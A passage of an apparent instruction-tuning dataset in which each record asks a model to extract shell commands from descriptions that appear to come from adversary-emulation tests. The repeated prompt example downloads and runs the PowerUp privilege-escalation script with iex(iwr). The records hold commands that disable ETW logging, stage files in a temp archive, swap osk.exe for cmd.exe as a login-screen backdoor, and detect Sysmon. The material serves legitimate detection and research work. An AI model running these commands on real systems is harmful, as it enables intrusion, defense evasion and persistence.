https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test demonstrates how an attacker can stop a particular ETW provider from logging by executing the command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\#{ETWProviderGUID}\" /v \"Enabled\" /t REG_DWORD /d \"0\" /f. The modification to the 'Enabled' registry value will only be applied after a system reboot.",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\\#{ETWProviderGUID}\\\" /v \\\"Enabled\\\" /t REG_DWORD /d \\\"0\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To zip a file using living off the land tools and stage it in the Windows temporary folder, run the following command: Compress-Archive -Path \"#{input_file}\" -DestinationPath #{output_file} -Force. After execution, verify that Folder_to_zip.zip appears in the temp directory.",
    "output": "{\"command_list\": [\"Compress-Archive -Path \\\"#{input_file}\\\" -DestinationPath #{output_file} -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can test whether your password policy is working by attempting to change the domain user's password with this command: $credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n    }\n    try {\n        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n        $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code: $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n            Remove-Item $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n",
    "output": "{\"command_list\": [\"$credFile = \\\"#{cred_file}\\\"\\nif (Test-Path $credFile) {\\n    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\\n    if($cred.GetNetworkCredential().Password -eq \\\"#{new_password}\\\"){\\n      Write-Host -ForegroundColor Yellow \\\"The new password is the same as the password stored in the credential file. Please specify a different new password.\\\"; exit -1\\n    }\\n    try {\\n        $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force\\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\\n    }\\n    catch { \\n        $_.Exception\\n        $errCode = $_.Exception.ErrorCode\\n        Write-Host \\\"Error code: $errCode\\\"\\n        if ($errCode -eq 86) {\\n            Write-Host -ForegroundColor Yellow \\\"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\\\"\\n            Remove-Item $credFile\\n        }\\n        exit $errCode\\n    }\\n    Write-Host -ForegroundColor Cyan \\\"Successfully changed the password to #{new_password}\\\"\\n    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \\\"#{new_password}\\\" -AsPlainText -Force))\\n    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\\n}\\nelse {\\n    Write-Host -ForegroundColor Yellow \\\"You must store the password of the current user by running the prerequisite commands first\\\"\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For accessing an elevated command prompt directly from the login screen, replace the accessibility executable with cmd.exe via the following command:\nIF NOT EXIST %windir%\\System32\\osk.exe.bak (copy %windir%\\System32\\osk.exe %windir%\\System32\\osk.exe.bak) ELSE ( pushd )\ntakeown /F %windir%\\System32\\osk.exe /A\nicacls %windir%\\System32\\osk.exe /grant Administrators:F /t\ndel %windir%\\System32\\osk.exe\nmklink %windir%\\System32\\osk.exe %windir%\\System32\\cmd.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST %windir%\\\\System32\\\\osk.exe.bak (copy %windir%\\\\System32\\\\osk.exe %windir%\\\\System32\\\\osk.exe.bak) ELSE ( pushd )\\ntakeown /F %windir%\\\\System32\\\\osk.exe /A\\nicacls %windir%\\\\System32\\\\osk.exe /grant Administrators:F /t\\ndel %windir%\\\\System32\\\\osk.exe\\nmklink %windir%\\\\System32\\\\osk.exe %windir%\\\\System32\\\\cmd.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The launchctl utility allows you to control services with commands like: launchctl submit -l #{label_name} -- #{executable_path}",
    "output": "{\"command_list\": [\"launchctl submit -l #{label_name} -- #{executable_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting an installed Sysmon service using driver altitude, even if the name has been changed, run this command: fltmc.exe | findstr.exe 385201. This will reveal the sysmon driver instance if it exists.",
    "output": "{\"command_list\": [\"fltmc.exe | findstr.exe 385201\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries can leverage Microsoft's Software Inventory Logging (SIL) to passively detect software installations. The status of SIL can be checked in the registry with this command: reg.exe query hklm\\software\\microsoft\\windows\\softwareinventorylogging /v collectionstate /reg:64",
    "output": "{\"command_list\": [\"reg.exe query hklm\\\\software\\\\microsoft\\\\windows\\\\softwareinventorylogging /v collectionstate /reg:64\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 